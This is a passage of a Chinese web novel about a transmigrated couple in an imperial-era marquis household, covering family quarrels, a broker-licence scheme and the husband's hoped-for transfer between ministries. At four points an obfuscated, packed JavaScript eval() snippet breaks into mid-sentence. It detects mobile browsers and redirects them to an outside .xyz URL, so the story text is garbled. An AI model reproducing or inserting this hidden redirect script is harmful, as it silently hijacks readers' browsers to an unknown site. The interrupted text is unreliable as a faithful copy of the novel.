游仁泰张了张嘴，苦笑，像是终于想起什么，“差点忘了，他去袁家拜师这事，多亏了你啊。” 又看看堂下的容芝，音调拔高，“也当然少不得你的帮忙。” 容芝想也没想便已跪下，“此事不能怪母亲，全是媳妇自作主张。” 游仁泰却早把事情看清明，眼神瞥向一旁的游怜山，“容氏是闺阁妇人，想必还是你给她出的主意吧，我的好儿子。” 游怜山真想直接回骂，手却被容芝一拉，也跪了下去。 容芝疯狂给他使眼色，他只好低头违心道，“……父亲教训的对。” “既然你认了错，郑叔，你去请家法。” 管家老郑愣站在堂门口，怯怯地劝：“还请侯爷息怒。” 游仁泰哪里听得进去，“反了你！连你也敢不听话？” 老郑忙跪下，“奴不敢，万不敢！” 眼看游仁泰扯起老郑的脖子要甩去地上，容芝和游怜山同时起了身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994850|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “二爷……”“二爷！”堂外传来丫鬟的喊声。 一丛黑影在容芝眼前飞过，接着，她听见游怜泉喊了声“父亲”。 可怜的老郑得了救，连滚带爬，眨眼间出了堂门口。 上首，游怜泉在游仁泰的耳边说着什么。 游仁泰的眉梢竟显出了喜色，问游怜泉道，“此话当真？礼部左侍郎从斩刑改为了流刑？” 游怜泉点头，“此事关系重大，儿子不敢欺诳。” 游仁泰拍拍游怜泉的肩，似松了口气，“我去趟礼部，一切皆白。” 走前，游仁泰看了眼还跪着的游怜山和容芝，“今日先饶过你俩。” “侯爷说什么饶不饶！” 邓氏坐在地上，正色道，“对自家人，您也如此狠？这长房与二房因孩子起龃龉，你懒得管才落于我肩！那你又以为，我爱管么？再则，那袁敞是治学奇才，咱游乘拜他门下，来日必成大器。可你如此忌惮，难道怕游乘受袁家蛊惑，背叛游家，与你刀剑相向？” 游仁泰转回身看邓氏，“妇人之见。” 遂飞起一脚，堂桌撞在顶梁柱上，震得四分五裂。 霎时院中丫鬟家仆齐声惊呼，都吓得跪了地。 “游乘拜师之事，以后谁都不准再提！有朝一日，若游乘变成袁敞、袁至诚的走狗，与袁家沆瀣一气，别怪我大义灭亲！” 游仁泰拂袖而去。 正堂里，邓氏望着他决绝的背影，直急得一口气要上不来。 容芝忙喊贞嬷嬷，俩人合力扶起邓氏，温声温语地劝哄，这才叫邓氏慢慢冷静，慢慢落了泪。 堂门口，游怜山叫住二弟游怜泉，问起礼部左侍郎为何改判了？ 游怜泉也刚得到消息，说，“昨夜，内阁首辅李经章大人在御前长跪，非要替礼部左侍郎求情。今早太医来看，李大人的膝盖竟冻连在大理石上，血肉模糊，好一幅惨状！再有，礼部左侍郎也从牢中传话，他愿补齐当年五万两银的修缮款。如此，两方合力，感动了圣上，便改了斩刑为‘三千里流放’。” 容芝听得入了神。 她冰冷的手被游怜山握住，听见他问，“小芝现在还难受吗？” 容芝飘远的心被游怜山拉回来，摇头道，“估计，那礼部左侍郎是一只替罪羊，活不到流放地了。” 城郊别业的雪景再好，容芝也无心欣赏，她食不香夜不寐，仿佛在等一件重要事的落定。 三日后，游怜泉派人带消息来——礼部左侍郎死了。 容芝又染风寒，一连病了两日，原本计划中的赏雪、散心都无可能。 回京那天，她唯恐侯府婆母见了她的憔悴要担心，悉心装扮了一番。游怜山捧着她瘦了一圈的脸，她问游怜山：“我是不是变难看了？” “当然没有。可是小芝，你不能太共情这个世界。一本小说而已，除了你和我事活人玩家，其他人全是npc，对不对？”游怜山说。 容芝从前天天嫌弃他不着调，今天倒很羡慕他这性格。 她握住游怜山的肩，看他的眼睛，自离婚后，第一次认真地看着他。 “阿怜，你知我喜欢科举小说、朝堂故事，定也没想到有天咱们能亲历其中的波云诡谲。也许，你讲的对，这里是小说世界，是虚构的。可是，咱们不敢赌，哪天咱们会不会也被人悄悄害死了。咱们想活着，想护住身边人……除了营营算计，早已别无他路！” 游怜山听完，眼眸大亮，“所以，原著里咱们一家的结局，很惨？” 容芝点点头，“非常、非常惨。” 游怜山擦掌，“嗬！你不早说。” 十年后。 13. 十年后，县试备考 十月，渐凉，司宁侯府的马车驶过满街金黄叶。 又到丰收季，不足斋的分账银票已整理出来，此刻放在容芝的膝头。老周掌柜告诉容芝，今岁营收比去岁翻了倍，但摊到侯府的六间院子立刻捉襟见肘，变成可怜的“三百两”。 在街转角，容芝估摸时辰正好，让虞次不急回府，先去一趟袁敞先生家，把游乘和游余兄弟俩接上。 马车晃动，阿桔在给新裁的衣裳剪线头，手中剪刀险些飞出去。 容芝用书局账本一挡，才避免剪刀飞去布帘外误伤了谁。 “夫人记得么？袁先生这宅子，是您经过手的。” 阿桔把两套棉袄叠好了，陪容芝站在马车下，一时触景生情。 怎能忘却呢？当时被人欺骗的难过，从容芝的心底翻上来，她面上维持浅笑，道：“十年过去，也不知那贼人去了何处。” 阿桔听出一股道不明的情绪，不由推了推容芝，“夫人不会有点想念那贼人吧？” “不是想他，是在想……” 容芝抿住嘴角，把未尽之言吞入肚子里。 “母亲！”“母亲！！” 游乘、游余哥儿俩远远跑过来，一前一后叠抱住容芝。 十岁弟弟游余已与容芝的身量相当，十三岁的游乘也比容芝高出大半个头，但在容芝跟前，他俩永远都是孩子。 回马车，阿桔让哥俩试了新袄。 游乘说“谢谢姑姑”，游余性子更外向，不知从哪摘的一把碎金桂，捧在手心里说，“送给姑姑。” 阿桔不常被感动，此时眼底染了泪，“余哥儿这样贴心，真让姑姑我羡慕那将来嫁给哥儿的姑娘了！” 说者无心听者有意。 年纪大些的游乘若有所思，上挑的瑞凤眼一转，看向母亲容芝，“难道又有人上门议亲？” 男孩养大了，有的事就会自然而然发生，议亲，绕不开，免不掉。 容芝是明白游乘的心意，这孩子自幼立下鸿志，全心全力读书科举，入仕高升，一步步站去高处，不再受某些人的欺压和冷眼。 “哥哥在讲哪门子笑话，男子哪有不娶妻？”游余拈了撮金桂洒在游乘鼻尖。 游乘轻轻一吹，黄花散开，他言辞坚决，“不管别人如何，我志不在此，还望母亲替我好好回绝，或者，也可先给弟弟张罗。” “我也不要！”游余抗议，“哥你真狡猾，自己脱身，推我入火坑？” 容芝靠着车壁，听笑，“你俩性子，终究越来越像他了。” 又说，“放心吧！我和你们父亲知道该怎么做。” 俩孩子眉开眼笑，边吃阿桔准备的糕点，边聊新学的文章词句。 容芝能听懂的不多，不随便发表意见，便又翻开了书局账本。 这里的古代世界确与她原来的世界不太一样，相比养女儿，养儿子才更费银子。赚钱一刻也不能松懈，但就算把书局玩出花，劳心劳力一整年所得，分给六间院子，就剩几百两，填补不了维系东园和教养俩孩子的资金缺口。 开发其他营生，是必要的。想来想去，最擅长的还是房牙行当。 可顺天府户房发放官帖的合法流程对女子，尤其是官眷，极为严苛。简言之，她想走正规路线，走不通。 转眼马车停在侯府门前。 俩孩子先下去，容芝留后，正掀布帘，听见四弟妹白氏的开朗笑声。 “才几日不见，乘哥儿这般高了！”白氏站在马车边，手提着药包。 “见过四伯母，”游乘轻皱眉，看白氏怀中无精打采的小丫丫，“雅妹妹病了？” “染了点风寒，犯矫情呗，就愿意让我抱，走哪抱哪，”白氏苦笑。 冷不防，游余扯起耳朵扮鬼脸，拖腔吓唬：“丫—丫—” 小丫丫一巴掌打他脸上，“二哥最坏了。” 游余捂起脸装可怜，“嚯？你手劲这么大，莫非装病？” 游雅才五岁正是撒娇年纪，她扁着嘴对白氏哭诉，“娘二哥欺负我。” 白氏笑道：“他俩哪舍得欺负你？喜欢你才逗你。” “丫丫你下来，大哥带你到东园吃好吃的，”游乘冲她挤眼。 游雅想了会，“娘，我感觉病好了，想和大哥二哥去玩。” 白氏点了点头。 等仨孩子朝东园跑去，她喊声“大嫂”，道：“当年幸亏你坚持要教养乘哥儿，如若不然，乘哥儿的性子哪能如此开朗？” 容芝忙摆手，“这，太开朗也不好！我更喜欢小雅，文静，可心。” 白氏笑不自胜，“小子哪能文静？我看，他俩性子是随了大哥！” 性子像游怜山才让容芝头疼。 说起游怜山，十年过去，他如今已是工部左侍郎，离他立下的五年爬上尚书之位flag，还差了一步。 但这最后一步升不上去，不怪游怜山不努力，是上面有人掐脖子，不想让他升上去。 原本去岁就轮到游怜山在工部的九年考满，偏巧他主管的承乾殿修缮工程出现意外，江南的琉璃瓦供应短缺，导致拖延工期。吏部考功司就向内阁提出，延期考满，皇帝也批准了，这一拖便拖到了今年。 后来中秋家宴，游仁泰多喝了几杯，主动提起此事，字字句句都在怪游怜山升迁太快，惹得朝堂不少人怀疑他公权私用，暗中提携游怜山。当场游怜山就给他怼回去，说——“要不是父亲阻拦，儿子我早就进了内阁！” 自信？狂妄？ 反正游怜山的“臭”名声从此传出了司宁侯府，传遍了上京城。 大家都知道：大理寺卿游仁泰，与嫡长子游怜山，父子不睦。 不过传言归传言，却是谁也不敢真嘲笑到游仁泰、游怜山面前，只敢背地嚼舌根，罢了。 回忆结束，容芝几人已走到东园门前。 她听见白氏问游乘、游余，明年是否参加县试。 游乘说：“要考的。” 游余不甘落后，“哥哥考，我也考！” 白氏夸哥俩懂事，也想到了其中难处，“听说，光报名就要花十两。” 这笔帐，容芝心里提前算过，是有数的，“唉，还是养女儿好。” 白氏颇为赞同，“科举是第一步，娶妻、成家、立业，哪处不要银？” 容芝好奇打听，“这娶妻，也要花很多吗？” 白氏狠点头，“前月工部尚书秦家大公子娶妻，听说花了五千两。大嫂你，至少要备双份。” 那就是一万两。 仅靠游怜山每年的死工资，二百四十两，攒到猴年马月去。 “四弟妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994851|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这是书局的分账，你收起来，”容芝有点心堵，把三百两银票递给白氏，扶着额头就进了东园。 南屋传出笑声，游乘、游余领着四房的丫丫，正玩儿得起劲。 阿桔在里屋打扫，似乎发现什么老物件，拿着帕子擦了许久。 容芝进了屋，见桌上摆着那十年前的“谷之”房牙腰牌。 “夫人如果见了烦，我就扔去灶台里烧了。” “先不烧，”容芝捏着腰牌，想起那年在千家胡同的店铺后间。她质问尔惑为何利用她，尔惑却反问，各取所需怎么就成了利用？ 事情过去多年，那口气好像还堵在胸口，使她吐不出、咽不下。 阿桔说：“刚去正院给老夫人送银票，老侯爷又骂了一通，说什么……咱侯府开书局从商，已被外人议论，现在居然靠卖袁敞文集赚银子……真是窝囊！ “二爷也在，他自然支持老侯爷，倒是四爷心疼夫人您，说您一个人打理书局，不容易。” 司宁侯府四爷，叫游怜柑。 此人比大爷游怜山小五岁，性格不错，只可惜脸上有疤，无法做官。受荫封去了国子监，也无法讲学，干混一份俸禄而已。 容芝喝了口茶，问阿桔：“让你寻的人，可安排好了？” 阿桔应道：“约在明日晌午饭后，就在咱家书局见。” 晚上游怜山没回院子，让虞次带口信，说要在宫里监工程。 容芝担心他冷，请虞次送新袄和热汤进宫。 虞次忙行礼道歉，“夫人，属下进不去宫里。” 只好作罢。 游雅留在东园吃完晚饭，游余送她回去时，容芝让他带了两罐子热汤给北园的四房夫妻。 “二哥，你娘真好，”游雅挨墙根走，掌着灯笼。 游余抱着两只汤罐子，笑道：“其实我爹更好！” 游雅停下脚步，“我听娘说，大伯快升正二品了，比祖父的官都高。” 游余低着脑袋一算，“工部尚书，正二品，大理寺卿，正三品……难怪祖父要压着我爹。” 最后半句，游雅没听清，“嘀咕什么。” 游余回过神，望着天，“二哥说，会永远喜欢丫丫。” 游雅猛踩一脚他的靴，“嘁，谁信你？” 天明，游乘和游余早早出门。 阿桔没见虞次来，去门房打听他，门房指了指府门外，原来虞次连人带马车，被司宁侯游仁泰拦下了。 “容氏要去书局见谁？”游仁泰面无波澜，不怒自威。 虞次躬身不敢起，只答：“属下不知。” 游仁泰一脚踢中他膝盖，虞次登时跪了下去。 “狗应该对主人忠心，但千万别认错主人。” 阿桔一溜烟跑回东园，把所看所听都转告容芝，劝她换一天去书局。 但是容芝在争取的东西，一刻都等不起。 主仆到府门外，游仁泰的马车早走了。 容芝见了虞次给他一盒治外伤的药膏，上马车，一路沉默。 她留心到后头有骑马之人跟踪，仍旧大大方方走进了不足斋。 一盏茶的工夫，司宁侯游仁泰也来了不足斋。 身边的游家小厮躬身，“就在二楼！奴亲眼看容氏进去了，那屋里有男子笑声！” 14. 县试备考（2） 前脚游仁泰进了店门，不足斋的宾客和伙计都自觉退开。 一片寂静里，老周掌柜猫着身，借人群遮挡爬上楼梯，却有一把冰凉的刀抵在了他的后脖颈。 “想通风报信？”持刀之人逼视道。 老周掌柜来不及争辩，已被掀下台阶滚了一身灰。 游仁泰一步步上楼，耳边那屋里的笑声变得愈发清晰。果然门房小厮打探的没错，他的长房媳妇容氏此刻正在屋内私会外男。 游仁泰怒火中烧，正要一脚踢门，侧面冲出个影子架住他的腿脚。 “你娘的……”游仁泰朝虞次的脸踹下去。 只听吱吖一声。 身后的门自己开了，容芝站在门框下，将虞次拉进门内。 容芝给游仁泰福了礼，“父亲。” 游仁泰抬起的脚踩空，一个踉跄险些摔下楼梯。他勘勘站稳，面上涨红，双眉倒竖，“你让开。” 说着他狠狠推开容芝，径直往屋里走。 “游乘三岁时，你让他拜师袁家，和袁家拉扯不清。我愿意以孩子为重，忍你十年，可你怎么还蹬鼻子上脸，不守妇道，居然偷起人……” 那左边的墙角，虞次张臂挡在前面，一番架势明显为了保护什么人。 游仁泰冷嗤，也不着急了，扭头对沉默的容芝道，“容氏，你夫君游怜山知道你在外头干的这些破事儿么？”口气竟听不出半点亲情，唯有冷嘲热讽。 片刻，容芝看向虞次，“事到如今，不必再躲了。” 游仁泰已退到桌边坐下，他靠在椅上，静等一看这让容芝背叛游怜山的外男，究竟是怎样的倾国绝色。 可下一瞬，他望见一脸麻子的五十老汉，惊得直接站了起来。 “你……你是不是太不挑了？！” 容芝微皱眉，“父亲在说什么？” 游仁泰被她的冷静噎得咳嗽，实在无法设想，刚才和她嬉笑的外男是这么个邋遢老头。难道其中有误会？ 他神思电转，面上少有显露，清清嗓子，重新看向容芝，道：“这个，近来街市常有闹事者，我担心自家书局，特意上来巡视一番。” 容芝点点头，顺着往下问，“那父亲，可有查出异常？” 游仁泰的目光落在那邋遢老头儿，轻道：“暂时没有。” “父亲公事繁重，儿媳就不强留您喝茶吃糕果，”容芝恭敬做了个请。 话音落下，虞次亦将屋门大开，低头拱手道，“恭送老侯爷。” 楼下，早空无一人。 直到游仁泰沿台阶下去，店门外的书局伙计才敢悄悄进店，或整理书架，或清扫灰尘。 “你，过来，”游仁泰叫住一个伙计，问道：“你们东家请的麻子老汉，谁啊？” 伙计战战兢兢，低头道：“是街坊里的老房牙。他年事已高，身体不好，又没儿子继承官帖，正找合适的人转手。” “房牙？官帖？”游仁泰双目呆住，万没想到儿媳容氏和这俩词有关。 不远处，老周掌柜咳了一声，那书局伙计立刻躬身退下。 游仁泰也回过神，假意嘱托老周，“夜里锁好门户，谨防盗窃打劫！” 老侯爷离开了书局，楼下顿时恢复喧扰，又是宾客盈门。 楼上，阿桔从内关上屋门，向容芝禀报，“人走了。” 容芝吐出口长气，对那麻子老汉笑道，“真对不住您，让您受这一场惊吓！阿桔，快再去泡壶好茶来！” 阿桔应声退下。 麻子老汉的脸色却仍是惨白，忙摆手道，“别了别了！夫人怎地不事先说明，您是大理寺卿家的儿媳？” 容芝又是一笑，“那我与您谈房牙生意合作，您考察我的诚心即可，至于，我什么身份，都不重要的吧。” “哪里不重要？你是谁，这很重要！我现在只想知道，老侯爷对夫人涉足房牙行，究竟是何态度？” 容芝握着帕子，“这个……”又眼神示意一边的阿桔拿出备好的银票。 阿桔道，“你刚才开价三百两银子，我家夫人不仅同意，还多给您三百两。” “哎不了不了不了——”老汉直摆手，烟一般地出门，下楼，消失。 阿桔追也没追上，急得落泪。 膝盖伤了的虞次连声道歉，甚至要跪下。 容芝对他俩摇摇头，“我看时辰差不多了，准备午膳吧。” 可官帖还没着落，主仆仨谁又能吃得下？ 虞次放下筷子，小声问阿桔，“你说，夫人有难事，为何从不找大爷商量？” 阿桔猜道：“可能不想给大爷找麻烦？其实，我一直觉得夫人和大爷的感情……有问题。” 这话深得虞次赞同，“原来不止我一人看出了。” “你又看出了什么？”容芝也放下了筷子。 虞次光摇头，不敢说话。 阿桔给容芝倒了茶，“一会我再去老房牙家中找他去。” 容芝端起茶杯，“不用了，今日老侯爷一闹，想活命的都会躲着我。” 阿桔替容芝委屈，“夫人张罗这一圈，难道不是为了侯府日子更好？” 容芝心领，但事实摆在眼前，“老侯爷是执法之人，当然坚决拥护房牙相关律法。他……也是怕我误入歧途，提前警醒我嘛。” 阿桔叹气，“夫人就是太善良，事事都为他人着想。” 容芝不想再说这个，转而道，“如果老侯爷插手房牙官帖，此事会更难办。” 此言使得虞次羞愧难当，忙说，“皆因属下没拦住老侯爷。” 阿桔瞅着他笑，“以为自己多大本事？还不是被一脚踹开？” 虞次认了，又说，“夫人如此迫切，为何不去千家胡同口的房牙行？” 阿桔又笑，“你什么都不懂，倒很敢讲！” 虞次不明白，“怎么？夫人和那店老板闹翻了？” 阿桔仍是笑他，“你果然什么都不懂。” 过了午，容芝食过有些犯困，以往这时候都会在东园小憩。 阿桔收拾好碗碟桌椅，扶她坐马车回侯府。 又看见遗落的房牙腰牌，容芝选择视而不见。 她闭上眼睛，听见阿桔说：“虞次那人虽不懂眼色，说的话却在理。” 容芝看向她，“你……喜欢他啊？” 阿桔一愣，“当然没有！我是想说，他建议夫人去千家胡同，说不定真是一条出路。” 其实容芝刚才也在想千家胡同的谷之房牙行。 正如虞次、阿桔所言，那位尔惑手里有房牙官帖，有官府人脉，还有画在团扇上的上京城超一线房源消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994852|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿桔别忘了，尔惑是骗子，是算计同伴的骗子。” “可是大爷不也讲，尔惑所行之事并不恶？往后夫人您再与他合作，事先问清宅子的来源和去处，避免被他欺骗，不行么？” 容芝捏了捏手里的腰牌，笑道：“阿桔果然心思剔透。是我，把事情想狭隘了。” 又冲布帘外的虞次吩咐，“转头，去千家胡同。” 酥饼店刚出炉了一锅奶酥，阿桔扔下二两银包圆，让伙计包成两盒。 一盒带回府给老夫人邓氏，另一盒要送十年不见的尔惑。 绕了近十里路，马车停在熟悉的房牙行门前。 旁边茶庄的招幌仍旧破破烂烂，而房牙行的门脸也仍旧半遮半掩。 老规矩，容芝一人进门。 店里只有命生，起身拱手平和道：“我家先生不在，不知夫人何事？” “既然不在，劳烦你把这两样给他，”容芝摘下腰牌和奶酥一起递上。 命生追几步，“请夫人留步！我还有一事不明，这奶酥是您给先生的赔礼？” 容芝面上发烫，“你觉得，它是赔礼，就算它是吧。” 命生笑了笑，“那夫人今日来找先生，是想再和先生合作卖宅生意？” 容芝心说，你要再猜不出，我也不知怎么装了。她敛住心思，笑道：“是有此打算。” 腰牌被命生放回了她手里。 容芝以为计划落空，正欲将想法说得更明白，却发现命生的眼中似有泪光闪动。 命生退后两步，躬身行大礼，“夫人心中一定明白的……这十年来，先生没有一日不在等夫人原谅他！” 能在尔惑这等皇族身边伺候，这叫命生的剑士，果然武能提剑慑敌，文能巧舌化愁。 “这团扇，先生交代许久，今日总算能送到夫人手里。” 容芝把团扇接来，画的是一间紧凑的三进宅子，四方规整，每边长不过百米。 她立刻问，“是哪家要卖？” 命生答：“前礼部左侍郎，孙慎。” 容芝怀疑听错，“孙慎？他不是十年前就死了么？” 命生点头，“夫人没听错也没记错，咱们这回卖的，正是孙慎旧宅。” 容芝眯起眼，“所以，你家先生在孙家旧宅发现了新的证据？” 命生只笑，“夫人且放心，既是合作，方便让您知道的都会相告。您等消息吧。” 容芝把腰牌和团扇收好。 须臾，命生又从后追上来，“听闻夫人家中明年有两位小公子县试？” 某些人的消息太灵通了。 容芝不必隐瞒，“对，是我的儿子，游乘和游余。” 命生取出两只寒山寺锦袋，“两枚‘及第玉牌’，是先生送小公子的。” 寒山寺开过光的玉牌，女子不能碰。 所以容芝、阿桔都不能拿，便叫来门外的虞次代为保管。 回司宁侯府，游乘与游余已在东园。 容芝将“及第玉牌”分给兄弟二人。 游余心眼一向多，猜到玉牌不可能是公事繁忙的父亲游怜山所送，便悄悄问容芝，“母亲白日所见之人，也是送玉牌之人？父亲知道此人存在吗？” 容芝抓起枕头砸，“我说你小子……不好好温书，瞎想些什么！” 15. 县试备考（3） 今岁前结束承乾殿的修缮工程，是工部营缮司的同僚们曾经不敢想的奢望。 但如今，此事被工部左侍郎游怜山，兑现了。 散了早朝，游怜山走在离宫甬道，明显察觉自己成了周围视线的焦点。余光扫视，更有不少人背地里对他指点议论。 “镜水。” 身后有人叫住游怜山。 他回头，给一副笑脸的秦舒拱手，“秦尚书。” 此人正是游怜山的直属上峰，工部尚书秦舒。 秦舒天生是笑模样，年纪比游父游仁泰小十岁，性格却比游仁泰温和许多。 有谁会不喜欢好脾气的人？ 游怜山思索间，秦舒已追到他身边，拍拍他的肩膀，笑着夸道：“镜水把承乾殿修得很好，尤其是琉璃屋顶。” 此时特意指出琉璃瓦，便是工部他二人都心知肚明，如果去岁江南没爆出琉璃瓦供应不足，这承乾殿工程早就完成，早就交了差。 “镜水办事可靠，又足智多谋，我工部能有你这贤才，何愁没奔头？” 听秦舒的夸词不断，游怜山反而嗅出一种不妙。 他不由停下脚步，安静看着秦舒。 秦舒亦停下，“怎么？” 游怜山心里有话，也不是忍得住的性子，便直接问道，“敢问秦尚书，下官完成了承乾殿修缮，那九年考满，应该没问题吧？” 考满结果，无非三种——称职、平常、不称职。游怜山想要的评语，自然是最优的“称职”。这个评语，是工部欠他的，也是内阁欠他的。 秦舒站在一拱石桥上，捋着长须，低头看桥下的流水。他嘴角慢慢上扬，似想到了什么，“怎么？贤侄此番，是要逼秦某退位让贤？” 游怜山上前拱手，口气却并不退怯，只苦笑低道：“您……进不了内阁么？” 听此言，秦舒僵住，回首的目光落在游怜山面上，“工部想进内阁，很难。” 此为肺腑之言。 饶是游怜山不爱看小说，仅凭在此世界打拼十年的经验，他也能得出和秦舒同样的结论。何况，上面还有他亲爹游仁泰时时打压。 两人同病相怜，并肩立在桥上，皆是沉默不语。 尚书秦舒毕竟年长几年，看问题比游怜山开阔些，便问了游怜山一个问题，“镜水有如此才徳，留在工部是小用，又何不另寻出路？” 这是建议他离开工部，游怜山听懂了，却继续拱手，问道：“还请秦尚书为下官指条明路？” 秦舒抬起头，笑道：“九年考满，秦某给镜水的评语，肯定是‘称职’。至于，明路……不知镜水愿不愿意转到户部？” 工部营缮司转户部度支司，掌管全国财政收支、预算审核，既能沿用游怜山在工部历练的账目监管能力，亦能继续复用他的工程经验，走“精算”路线，实属无缝衔接，且晋升空间大。 可是，游怜山不想再等九年。 至今游怜山都记得九年前容芝告诉他的话：他们一家在这小说世界的结局，非常、非常惨。 过去九年他为了站到更高位置，潜心工部打磨，到头了，哪怕他的能力被认可，但还是走不通此路。先不提他个人承受的打击，光想到要去户部从头拼九年，他就感到无尽的厌烦。 他不喜欢无聊、重复的事情。若他提前预判一件事成功的代价太高，他会失去耐心，自我放弃。 秦舒说：“若镜水有意，秦某可向吏部举荐。吏部尚书是秦某故交，跨部平级调用，也不难办。” 游怜山笑了一声，“吏部尚书是大人故交，为何他不能调下官去吏部，或礼部？” 秦舒微怔，也笑道：“吏部尚书与你年纪相仿，你去吏部想有晋升，还是个等……礼部嘛，前左侍郎孙慎死后，位置空了十年，最近确有传言，圣上在催内阁推举合适人选。” 正三品礼部左侍郎的人选，居然要动用内阁举荐，便足以窥见礼部的重要地位。 游怜山想到礼部尚书李经章，那人正是内阁首辅。 “镜水若没想好，这几天有想法，随时告知秦某。” 游怜山见秦舒要走，躬身相送，“大人！下官想好了，要去吏部。” 前面的秦舒没回头，只挥手道，“定尽力斡旋，等消息吧。” “有劳大人奔走，”游怜山说着，直起腰来。 身边经过几个堂官，拱礼喊“游侍郎”。 游怜山微微抬手回礼，大步朝宫门外走，彼此同行间，某位堂官说起年后二月的县试，便问游怜山是否也有孩子参考。 游怜山说：“有，两个儿子。” 堂官忙拱手，“游侍郎本是二甲进士，家中公子定也才思敏捷，学富五车！来日，必是新科状元！” 游怜山点头，边走边负手朗笑，“借你吉言。” 司宁侯府，长房东园。 虞次从外带回口信，说大爷游怜山今晚回家。霎时，阿桔第一个忙碌起来，厚被褥要好好晾晒，该换的，该洗的，都要安排丫鬟仔细着做。 容芝本要午后小憩，被这番动静闹到睡不着，干脆和阿桔一起在小厨房准备晚膳。 “大爷要回来，夫人不高兴吗？”阿桔切开嫩豆腐。 容芝为它们裹上蛋液，洒一层面，洒黑芝麻，再去油锅炸至金黄，捞出盛盘，却一直没说话。 阿桔端来细葱花点缀，“难道大爷又惹您生气了？” 容芝摇头，长叹一声，“我这辈子都不会生他气。” 阿桔品不出这话的深意，赔笑一记作罢。 深秋日短，等游乘游余散学回东园，天色已暗。 兄弟俩来里屋给容芝问安。听说父亲回家食饭，游乘说正好有一篇策论想向父亲请教，便先回南屋。倒是游余留下，陪坐在容芝身侧。他伸手拿桌上的奶酥，险些打翻了盘子，幸而被虞次抢着接住。 容芝被他吓一跳，手按在心口，“游余，你已经十岁了，不可再莽莽撞撞的。” 游余哦了声，掰一半奶酥给容芝，“母亲……很难过？” 容芝看向他，“没有啊？我哪有难过。” 游余放下奶酥，指尖点在她的嘴角，“可是，从儿子回来就没见母亲笑。” 容芝这下笑了，拂开他的手，“年后二月就是县试，回屋看书去吧。” 不多时游怜山进了院门，先帮游乘答疑解惑，又听游余讲了一篇新文章，这才净手，坐下用晚膳。 今晚桌上有道游怜山喜欢的金酥豆腐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994853|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他尝一口就知是容芝的手艺，自从离婚，他终于又吃上她做的菜。 “怎么想起炸金酥豆腐？”游怜山悄悄凑近容芝问她。 容芝面上云淡风轻，“就几块豆腐，还能有什么？” 游怜山笑，“我还以为夫人知道了我的考满评语！” 容芝立刻按住他的手，对游乘、游余说，“你俩吃完先回屋。” 等孩子离开，容芝才拿开手，让游怜山详说考满情况。长话简言，游怜山道出一句，“我，或可离开工部了。” 官场之道，容芝虽没亲身经历，却也深知工部晋升空间有限，若上面无人提携就不可能入阁，更不可能接近权力中心。 “秦舒许诺你了？他说没说，安排你去哪个部？” “小芝看得准，真是秦舒要举荐我……他觉得我去户部最合适。” “可你不想去户部？” “户部，最易沦为牺牲品，我想多活几年。” 容芝走到窗前，看向南屋的烛火与孩子，“其实，要有机会调任礼部，你倒不如去礼部。” 游怜山听笑，“调任这回事，我也左右不了，要等。” 又想起白日在宫里与秦尚书的交谈，“行，为了游乘、游余，我明日再找一下秦舒。” 得他同意，容芝松了口气，出门喊阿桔赶紧烧热水。 “几人用的？”阿桔问。 游怜山说，“两人。” 阿桔呆了瞬，笑道：“得嘞！” 可阿桔终归不知，这不过是游怜山的恩爱表演话术。游怜山是等容芝先洗先睡，他才泡入热水里的。 次日朝事散得早，游怜山回到工部衙门，去敲了尚书秦舒的值房。 秦舒见了他，想起前日应他的举荐之事，便直言，“因你考满为‘称职’，平调户部侍郎，没问题。” “调吏部，不行？”游怜山问。 秦舒摇头。 游怜山又问：“那礼部左侍郎的空缺，行不行？” 秦舒原地踱了几步，才道：“镜水，秦某不瞒你。礼部左侍郎的空，礼部内部已推荐了仪制司郎中，王伽，此人也得了礼部尚书李经章的点头。” 礼部仪制司，职权有三。（1） 其一，礼制。制定皇室、百官、民众的礼制。如登基、册封、婚丧、祭祀等。 其二，科举。主理乡试、会试，审核考题、录取名单，与国子监对接监管学校。 